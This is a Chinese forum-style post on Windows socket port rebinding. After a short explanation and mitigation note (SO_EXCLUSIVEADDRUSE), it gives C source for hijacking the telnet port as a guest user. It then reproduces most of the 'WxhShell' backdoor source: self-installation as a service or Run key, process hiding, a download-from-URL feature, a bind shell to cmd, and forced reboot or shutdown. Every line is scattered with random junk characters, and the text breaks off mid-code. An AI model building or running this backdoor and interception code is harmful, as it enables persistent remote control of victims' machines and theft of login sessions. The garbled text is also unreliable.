在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
(3&?w y_l s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
h65-s -Vhw^T1iV saddr.sin_family = AF_INET;
&=k,?TJO> =kqt saddr.sin_addr.s_addr = htonl(INADDR_ANY);
fg{n(TE"8 X~i<g?] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
hiw|2Y&` _Y[bMuUb= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
[66!bM& uXq.
]ub 这意味着什么?意味着可以进行如下的攻击:
9<)NvU^-r (Clkv 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4 N7^? zkdetrR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
:#~j:C| ++#5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
{GcO3G#FZ ?KI,cl 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
aoa)BNs F.v{-8GV 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
1&o|TT/ a+PzI x2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
@oad,=R& 7fX<511( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=iD3Yt 9?3&?i2- #include
<V6VMYXY4 #include
wsVV$I[2 #include
uL/m u< #include
Ji 0
tQV DWORD WINAPI ClientThread(LPVOID lpParam);
C=4Qlt[` int main()
,<p}o\6 {
u4|$bbig WORD wVersionRequested;
U!Z,xx[] DWORD ret;
A$xF$l WSADATA wsaData;
iRi-cQVy BOOL val;
% -e 82J1 SOCKADDR_IN saddr;
s&!a SOCKADDR_IN scaddr;
g2/8~cn8z int err;
t3Y:}%M SOCKET s;
:Qf '2.h) SOCKET sc;
f.`*Qg L int caddsize;
78%~N`x7 HANDLE mt;
'anG:= DWORD tid;
v2;`f+ wVersionRequested = MAKEWORD( 2, 2 );
!GEJIefx_ err = WSAStartup( wVersionRequested, &wsaData );
e,XYVWY% if ( err != 0 ) {
;
p {[1 printf("error!WSAStartup failed!\n");
_W'-+, return -1;
?_"ik[w} }
:'&brp3ii= saddr.sin_family = AF_INET;
Zdo'{ $
3J438M.ka //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
yD6[\'% hzbw>g+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Wh2tNyS saddr.sin_port = htons(23);
v+=BCyT if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'1)$' {
Eue~Y+K*b printf("error!socket failed!\n");
}sO&. ME return -1;
2oRg 2R} }
B\:%ufd
~ val = TRUE;
M6-&R=78K //SO_REUSEADDR选项就是可以实现端口重绑定的
x`IEU*z# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
%O;bAC_M {
n`&U~s8w printf("error!setsockopt failed!\n");
["e3Ez return -1;
U\<?z Dw }
7y@Pa&^8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
B=A [ymm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
)$bS}. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
do+.aOC kO*$"w#X[p if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
n%s]30Xs {
"?I y (*^ ret=GetLastError();
xDoC( printf("error!bind failed!\n");
JOLaP@IPT return -1;
cFnDmtI: }
Ev(>z-{F listen(s,2);
'B0{_RaTb while(1)
\3aoM{ztD {
#!KE\OI;@5 caddsize = sizeof(scaddr);
YgV817OV //接受连接请求
zXxT%ZcCj sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4l45N6" if(sc!=INVALID_SOCKET)
6Yxh9*N~] {
YLE!m? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
qF-@V25P if(mt==NULL)
W=qVc {
j578)!aJ printf("Thread Creat Failed!\n");
`o8/(`a break;
'>ssqBnI }
oVfLnI; }
&,CiM0 CloseHandle(mt);
hL;(C)( }
o,8TDg closesocket(s);
Q_X.rUL0w WSACleanup();
in- HUG return 0;
"#oHYz3D }
dl@%`E48w DWORD WINAPI ClientThread(LPVOID lpParam)
ouFYvtF g {
l
+OFw)8od SOCKET ss = (SOCKET)lpParam;
u=7J/!H7^ SOCKET sc;
7.#F,Ue_0T unsigned char buf[4096];
QTXt8I SOCKADDR_IN saddr;
\\dMy9M- long num;
| Aw%zw1@ DWORD val;
Qq;Foa
DWORD ret;
t+iHQfuP9A //如果是隐藏端口应用的话,可以在此处加一些判断
%H&@^Tt a //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
m~d]a$KQ5- saddr.sin_family = AF_INET;
1@1U/ss1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
=i*;VFc saddr.sin_port = htons(23);
]4]6Qki if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%)I{%~u0 {
aV|hCN~ printf("error!socket failed!\n");
LS*y return -1;
g^{@'}$ }
es&vMY val = 100;
|O9O )o if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}h!f eP {
f;gw"onx8F ret = GetLastError();
T<p !5`B 1 return -1;
EYEnN }
:~T99^$zA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,\n&I( {
DBD%6o>]K ret = GetLastError();
FZ,#0ZYJGP return -1;
8UyMVY }
?!cvf{a if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+M$Q
=6/ {
;n=.>s*XL' printf("error!socket connect failed!\n");
71gT.E closesocket(sc);
E!l!OtFL closesocket(ss);
Y>G@0r BG return -1;
w6GyBo{2O_ }
1Z~)RJ<D while(1)
OFv%B/O {
_5# y06Q //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-~30)J=e` //如果是嗅探内容的话,可以再此处进行内容分析和记录
Md2>3- //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
(Dl$k Gn num = recv(ss,buf,4096,0);
E}p&2P+MR if(num>0)
X/2&!O send(sc,buf,num,0);
7/f3Z1g else if(num==0)
4?7W+/~<& break;
CcFn.omA num = recv(sc,buf,4096,0);
3?7\T#= if(num>0)
<55g3>X send(ss,buf,num,0);
TDNQu_E else if(num==0)
lfz2~Si5A break;
PCM-i{6/ }
xScLVt<\e closesocket(ss);
a]/>ra5{ closesocket(sc);
FUOI3 return 0 ;
GlT7b/JCG }
~ga`\%J hKjt'N:~ZY #+5pgD2C ==========================================================
qI<mjB{3` k_q0Q;6w!l 下边附上一个代码,,WXhSHELL
}'/`2!lY 7C ,UDp| ==========================================================
mkF" vIwCJN1C #include "stdafx.h"
mvZw 1ilBz9x*! #include <stdio.h>
3G~@H>j #include <string.h>
M9@ri ^x
#include <windows.h>
u1PaHgi$ #include <winsock2.h>
*"n vX2iz #include <winsvc.h>
,@3$X=),E #include <urlmon.h>
Jesjtcy<* )ZqJh #pragma comment (lib, "Ws2_32.lib")
0B@Jity#! #pragma comment (lib, "urlmon.lib")
e\JojaV Pgus42f% #define MAX_USER 100 // 最大客户端连接数
O1*NzY0Y%- #define BUF_SOCK 200 // sock buffer
BWuqo #define KEY_BUFF 255 // 输入 buffer
/_Z652@ r*_ZJ*h[ #define REBOOT 0 // 重启
ux3<l +jv^ #define SHUTDOWN 1 // 关机
wG<(F}VX :!b'Vk #define DEF_PORT 5000 // 监听端口
`poE6\ LLXVNO@e+ #define REG_LEN 16 // 注册表键长度
P2'DD 3 #define SVC_LEN 80 // NT服务名长度
,gOOiB
} sWblFvHqrU // 从dll定义API
SD$h@p=!= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
bk^TFE1l typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
J6G(_(d typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
E7)=`kSl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_Bp1co85MQ _b.qkTWUB // wxhshell配置信息
.]7Qu;L struct WSCFG {
)R
2. int ws_port; // 监听端口
h!:~f-@j4 char ws_passstr[REG_LEN]; // 口令
]U7KLUY>: int ws_autoins; // 安装标记, 1=yes 0=no
q)vplV1A char ws_regname[REG_LEN]; // 注册表键名
/2Bi@syxK char ws_svcname[REG_LEN]; // 服务名
OP|8S k6
r char ws_svcdisp[SVC_LEN]; // 服务显示名
qt^T6+faaQ char ws_svcdesc[SVC_LEN]; // 服务描述信息
^=SD9V char ws_passmsg[SVC_LEN]; // 密码输入提示信息
g9WGkHF int ws_downexe; // 下载执行标记, 1=yes 0=no
-!L"') char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
w{90` char ws_filenam[SVC_LEN]; // 下载后保存的文件名
B0!"A jDN ]3Y` };
fpN-
o 1=a>f"cyf // default Wxhshell configuration
+_xOLiu
struct WSCFG wscfg={DEF_PORT,
Yx inE`u~ "xuhuanlingzhe",
F]t(%{#W 1,
UaV iI/ks "Wxhshell",
{TRsd "Wxhshell",
e$uiJNS2 "WxhShell Service",
XNb ZNaAd "Wrsky Windows CmdShell Service",
F.=Bnw/- "Please Input Your Password: ",
RxN,^!OV 1,
SdwS= (e6 "
http://www.wrsky.com/wxhshell.exe",
%8M)2?E "Wxhshell.exe"
^ Dt#$Z };
lmSo8/%T =)`
p_W // 消息定义模块
9{8GP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
$gM8{.! char *msg_ws_prompt="\n\r? for help\n\r#>";
<K4,7J$}h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ZzBQe char *msg_ws_ext="\n\rExit.";
STw#lU) %( char *msg_ws_end="\n\rQuit.";
^3FE\V/=
char *msg_ws_boot="\n\rReboot...";
~ Yngkt char *msg_ws_poff="\n\rShutdown...";
]UG*r%9 char *msg_ws_down="\n\rSave to ";
h"[+)q%L dN}#2Bo= char *msg_ws_err="\n\rErr!";
t/PlcV_M" char *msg_ws_ok="\n\rOK!";
$4T2z- |xvy')(b char ExeFile[MAX_PATH];
0%
#<c p int nUser = 0;
<ExZ:ip HANDLE handles[MAX_USER];
tpTAeQ*:d int OsIsNt;
1G'`2ATF* 3 Lsj}p SERVICE_STATUS serviceStatus;
~E^,=4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
U"4?9.
k !'*csg // 函数声明
NAzX". g int Install(void);
k') E/n int Uninstall(void);
FG!X"<he int DownloadFile(char *sURL, SOCKET wsh);
2{.QjYw^ int Boot(int flag);
\S)2 void HideProc(void);
EmT`YNuc int GetOsVer(void);
^@_m "^C int Wxhshell(SOCKET wsl);
+/;*| void TalkWithClient(void *cs);
zn@N'R/ int CmdShell(SOCKET sock);
a`u
S[r> int StartFromService(void);
'iY*6<xS< int StartWxhshell(LPSTR lpCmdLine);
34R!x6W0 zPKr/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@AYo-gf VOID WINAPI NTServiceHandler( DWORD fdwControl );
*VkgQ`c 7RvUH-S[ // 数据结构和表定义
kzS=g|_ SERVICE_TABLE_ENTRY DispatchTable[] =
DK&h
eVIoZ {
%&\ jOq~ {wscfg.ws_svcname, NTServiceMain},
Lh-`OmO0>F {NULL, NULL}
WmQ01v };
(?b@b[D~4 A;u" <KG? // 自我安装
5]1h8PW!Y int Install(void)
pBC<u {
xT)psM'CL char svExeFile[MAX_PATH];
.\qj;20W HKEY key;
90Hjx>[ strcpy(svExeFile,ExeFile);
*$M'`vj: STA4 p6 // 如果是win9x系统,修改注册表设为自启动
='E$-_ if(!OsIsNt) {
oQj=;[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-gz0md|Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
KZBrE$@%5 RegCloseKey(key);
do
^RF<G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:` $@}GI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
m2Uc>S RegCloseKey(key);
~/tKMS6T return 0;
}p9F#gr }
rB%$;<`/ }
Ut)r&? }
2_t=P|Uo else {
9(!]NNf! cDXsi#Raj // 如果是NT以上系统,安装为系统服务
O8N[Jl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ehAu^^Q> if (schSCManager!=0)
HZ*0QgW\(5 {
I6LD)? SC_HANDLE schService = CreateService
SgE/!+{ (
=BZ?- mIU schSCManager,
(HN4g;{ wscfg.ws_svcname,
k,Zm GllQ] wscfg.ws_svcdisp,
bO/*2oau SERVICE_ALL_ACCESS,
,goBq3[%? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&(xUhX T SERVICE_AUTO_START,
r++i=SQax SERVICE_ERROR_NORMAL,
:<~7y.*O{ svExeFile,
~mN%(w!^ NULL,
)J3kxmlzQ NULL,
".~{:= NULL,
uC]Z8&+obb NULL,
7=*VpX1 NULL
|H ;+1 );
7XyOB+aQO if (schService!=0)
lg1PE7 {
Jll-X\O`- CloseServiceHandle(schService);
O hR1Jaed CloseServiceHandle(schSCManager);
G(1 K9{i$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c~dM`2J, strcat(svExeFile,wscfg.ws_svcname);
tO.$+4a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
swpnuuC- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"L2 m-e6 RegCloseKey(key);
;' e@t8i6 return 0;
czBi Dk4 }
xUYow }
r[Zq3 CloseServiceHandle(schSCManager);
q?~Rnv }
3#<*k>1G? }
/axTh 0D)`2W return 1;
Z]-WFU_
N }
P?3{z="LzJ ]i8c\UV \ // 自我卸载
xT F=Y_ int Uninstall(void)
hPufzhT {
D(r:}pyU HKEY key;
27#8dV? h#3m4<w(9 if(!OsIsNt) {
|j_`z@7( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$<ddy/4 RegDeleteValue(key,wscfg.ws_regname);
GF--riyfB RegCloseKey(key);
iY.eJlfH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
KC&`x| RegDeleteValue(key,wscfg.ws_regname);
<Ns &b.\h6 RegCloseKey(key);
>v0 :qN7| return 0;
Uk-HP\C"7 }
BGjb`U#%3 }
ZxS&4>. }
mPmB6q%)] else {
\].J-^= a%~yol0wO7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
u+% tPe if (schSCManager!=0)
$+:(f{Va* {
`X+j2TmS SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
nN ~GP"} if (schService!=0)
[a8+( {
}#aKFcvg if(DeleteService(schService)!=0) {
O2H/rFx4 CloseServiceHandle(schService);
c)1=U_6 1 CloseServiceHandle(schSCManager);
MtG_9- return 0;
+(ny|r[# }
p~bkf> CloseServiceHandle(schService);
3B,QJ& }
o?!uX|Fy CloseServiceHandle(schSCManager);
A'DVJ9%xB }
u3wL<$2[8 }
X7e/:._SAH sA_X<>vAKJ return 1;
kQ }s/* }
+?e}<#vd'? zeTszT) // 从指定url下载文件
dB`b9)Tk0z int DownloadFile(char *sURL, SOCKET wsh)
YMAQ+A! {
5V|tXsy: HRESULT hr;
g[!Cj, char seps[]= "/";
Jf+7"![| char *token;
UpeQOC char *file;
~R!gJTO9 char myURL[MAX_PATH];
!P" ? char myFILE[MAX_PATH];
Ve14rn n|]N7 b' strcpy(myURL,sURL);
h[l{ 5Z* token=strtok(myURL,seps);
U,3d) ]Zy& while(token!=NULL)
.S|-4}G(6 {
3LrsWAz' file=token;
J<_ 1z':W) token=strtok(NULL,seps);
XZ@>]P }
R`C.ha ^I./L)0=} GetCurrentDirectory(MAX_PATH,myFILE);
X RRJ)}P strcat(myFILE, "\\");
>q &L/N5 strcat(myFILE, file);
fm6]CU1^ send(wsh,myFILE,strlen(myFILE),0);
l\U*sro< send(wsh,"...",3,0);
;qT5faKB3J hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`GkRmv* if(hr==S_OK)
M+UMR+K return 0;
kh&_#, else
e3rfXhp return 1;
S&|VkZR) td/5Bmj }
nCB[4 36i_D6 // 系统电源模块
]n1D1 int Boot(int flag)
7xR|_+%~K {
x9\J1\ HANDLE hToken;
J=L`]XE TOKEN_PRIVILEGES tkp;
&U0WkW Dtt\~m;AR if(OsIsNt) {
L)G">T; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
r
&c_4%y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
[+7"{UvT tkp.PrivilegeCount = 1;
Fi k@hu tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Q^ q=!/qQ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
j%GbgJ if(flag==REBOOT) {
{"\q(R0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
N
I3( return 0;
*e, CDV }
:28@J?jjO else {
S
`wE$so> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
S r[IoF) return 0;
9 G((wiE }
z.A4x#>- }
k2wBy'M.' else {
j>V"hf if(flag==REBOOT) {
=*[, *A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
mC"7)&,F return 0;
0.(zTJ }
_AAx
) else {
5GUH;o1m if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
M;> ha,x return 0;
cnC_#kp }
{!g?d<* }
Xv]*;Bq:SK hX %s]" return 1;
TR|;,A[%v# }
4KZ SL:A w4`!Te // win9x进程隐藏模块
`GP3D~ void HideProc(void)
7:ckq(89 {
v7g
[Lk Mf#2.TR HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
r \9:<i8 if ( hKernel != NULL )
i~(#S8U4d {
69?I?,7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
%pd5w~VP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?#U0eb5u FreeLibrary(hKernel);
Y<de9Z@ }
IZ|c<#r6 dV$3u"9 return;
_y|[Z; }
AK%=DVkM R+k=Ea&x // 获取操作系统版本
x ru(Le}E int GetOsVer(void)
F: f2s:< {
i:\bqK OSVERSIONINFO winfo;
6_pDe winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
+|)zwe GetVersionEx(&winfo);
Z<w,UvJa if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
S_`W@cp[ return 1;
XlE$. else
5ZZd.9ZgM return 0;
l85O-g}M }
mMn2( bbM4A! N // 客户端句柄模块
.Y+mwvLpRG int Wxhshell(SOCKET wsl)
\-DM-NrZ1U {
sTJJE3TBI SOCKET wsh;
cF-Jc}h struct sockaddr_in client;
30t:O&2< DWORD myID;
Qu!OV]Cc ;>cLbjD while(nUser<MAX_USER)
$0ym_6n {
BYTXAZLb int nSize=sizeof(client);
:t_}_!~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
;D6x=v=2 if(wsh==INVALID_SOCKET) return 1;
ux)< &p. f|;HS!$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
%{7$\|;J' if(handles[nUser]==0)
oB hL}r closesocket(wsh);
6(!,H<bON else
+>n.T nUser++;
k*A4;Bm }
k?!TjBKm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
kO
/~i H0 {Mlu9 return 0;
bWhJ^LD }
s{b0#[ hhN(;. // 关闭 socket
P?-d[zLA void CloseIt(SOCKET wsh)
tsCz+MP {
^xBb$ closesocket(wsh);
F Bd+=bx,Z nUser--;
FjK Ke7 ExitThread(0);
=M Q2sb }
X20<r?^,, :7zI3Ml@7 // 客户端请求句柄
1c1e+H void TalkWithClient(void *cs)
{"qW~S90YO {
V3aY]#Su B3ohHxHu SOCKET wsh=(SOCKET)cs;
(!^N~ =e; char pwd[SVC_LEN];
q8&4=eV\A char cmd[KEY_BUFF];
H620vlC}V char chr[1];
D/+@d:- G int i,j;
a,en8+r] #c8" while (nUser < MAX_USER) {
C?_t8G./_ &utS\-;G if(wscfg.ws_passstr) {
Pl`Bd0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
roK4RYJ7) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
MVu[gB //ZeroMemory(pwd,KEY_BUFF);
<v1_F;{n i=0;
EBN]>zz while(i<SVC_LEN) {
C.B8 J"T- ;jpw"-J` // 设置超时
r;@:S~ fd_set FdRead;
LIm$Wl1U struct timeval TimeOut;
^hGZVGSv FD_ZERO(&FdRead);
LNsE7t FD_SET(wsh,&FdRead);
D/NIn=>j TimeOut.tv_sec=8;
arpJiG~JR TimeOut.tv_usec=0;
1tuator int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4AG&z,[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[qc6Q: z{<q0.^EFh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Lx4H/[$6D pwd
=chr[0]; l,~ N~?
if(chr[0]==0xd || chr[0]==0xa) { # UP,;W
pwd=0; b*$o[wO9
break; .pNq-T
} &**.naSo
i++; i&AXPq>`
} jb6ZAT<8
06j)P6Iju
// 如果是非法用户,关闭 socket dqK
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \Ho#[k=y*/
} .1l[l5$
j:\_*f
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =qVAvo'
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KJ05Zx~uma
Rwi5+;N
while(1) { <#J<QYF&2
Z:}2F^6
ZeroMemory(cmd,KEY_BUFF); *1;L,*J"|
fitK2d
// 自动支持客户端 telnet标准 6.(]}?g1f
j=0; eN7yjd'Y6
while(j<KEY_BUFF) { :7'0:'0$t
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )gm \e?^
cmd[j]=chr[0]; YpbdScz
if(chr[0]==0xa || chr[0]==0xd) { ~>wq;T:=
cmd[j]=0; ,YzC)(-
break; r]K0
]h@B
} wMR[*I/
j++; `;8u9Ff
} { U2|):
%.r5E2'
// 下载文件 Ky{I&}+R|
if(strstr(cmd,"http://")) { S7\jR%pb
send(wsh,msg_ws_down,strlen(msg_ws_down),0); M4$4D?
if(DownloadFile(cmd,wsh)) Kk"B501
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TQyFF/K
else +k"8e?/e.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {Rh+]=7
} [~rk`
else { ( Nve5
~wQ WWRk
switch(cmd[0]) { bB[*\
vU=k8
// 帮助 7dL=E"WL
case '?': { j^R~ Lt4
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W(3~F2
break; e?'k[ES^
} .LVOaxT
// 安装 -2mOgv
case 'i': { F$pd]F!#
if(Install()) " kJWWR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `5aypJf1
else eWt>^]H~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E*#60z7F
break; A_$Mt~qKi^
} W,eKQV<j
// 卸载 "{1}
case 'r': { fCo2".Tk
if(Uninstall()) r E*u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X<bj2 w
else ;Z<*.f'^fc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kps
GQM
break; LZ<(:S
} ur_"m+
// 显示 wxhshell 所在路径 AhFI, x
case 'p': { \|4MU"ri
char svExeFile[MAX_PATH]; J}` $WL:
strcpy(svExeFile,"\n\r"); )^a#Xn3z
strcat(svExeFile,ExeFile); [/`Hz]R
send(wsh,svExeFile,strlen(svExeFile),0); GA@Q:n8UuR
break; 70l;**"4
} "r(pK@h
// 重启 Vste$V
case 'b': { D
+%k1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); / o3FK
if(Boot(REBOOT)) y8 u)Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qSs^}eN
else { rcb/X`l=
closesocket(wsh); rG'k<X~7
ExitThread(0); ?z36mj"`o
} i /U{dzZ
break; Woy[V
} ##\ZuJ^-
// 关机 +_K;Pj]x
case 'd': { dg@/HLZ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :a<TV9?H0
if(Boot(SHUTDOWN)) %>}7$Y%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z["nY&.sI
else { >]N0w
closesocket(wsh); i!-sbwd7
ExitThread(0); ,Onm!LI=
} lfG&V +S1
break; wtick~)
} [~%;E[ky$
// 获取shell V$%Fs{
case 's': { D,R2wNF
CmdShell(wsh); Hu!>RSg,,2
closesocket(wsh); bI0+J)
ExitThread(0); 5nw9zW
:'
break; [ESQD5&
} o sH,(\4_
// 退出
@(5RAYRV
case 'x': { "k@/Z7=
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JA2}
CloseIt(wsh); }U1{&4Ph
break; -5*;J&.
} ^ x#RUv
// 离开 KTREOOu .t
case 'q': { S~9kp?kR$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); JO$]t|I
closesocket(wsh); |?Uc:VFF
WSACleanup(); B_G7F[/K
exit(1); ZuV
break; \)
ONy9
} !f2>6}hE
} ]$*_2V3VA$
} D#AxgF_He
Sk%|-T(d$
// 提示信息 3W
WxpTU
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1j-i nj`
} h$h`XBVZe;
} /]>{"sS(
E8 )*HOT_T
return; r>eXw5Pr7
} $f\-.7OD
(G;*B<|A
// shell模块句柄 |n%N'-el
int CmdShell(SOCKET sock) )y Y;%
{ 0]W/88ut*u
STARTUPINFO si; |pg5m*h
ZeroMemory(&si,sizeof(si)); 5~5ypQj
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0Jif.<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9e6{(
PROCESS_INFORMATION ProcessInfo; j<5R$^?U
char cmdline[]="cmd"; :S2MS{>Mo
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B75SLK:h=
return 0; Y'R1\Go-
} ;sJ2K"c
(]dZ+"O{
// 自身启动模式 pr?(5{BL
int StartFromService(void) Un+Jz
?Y
{ 4h(Hy&1C
typedef struct +?'acn
{ zvg&o)/[
DWORD ExitStatus; J'v|^`bE
DWORD PebBaseAddress; mY9K)]8
DWORD AffinityMask; IA!Kpg
W
DWORD BasePriority; Grv|Wuli
ULONG UniqueProcessId; 1j(,VW
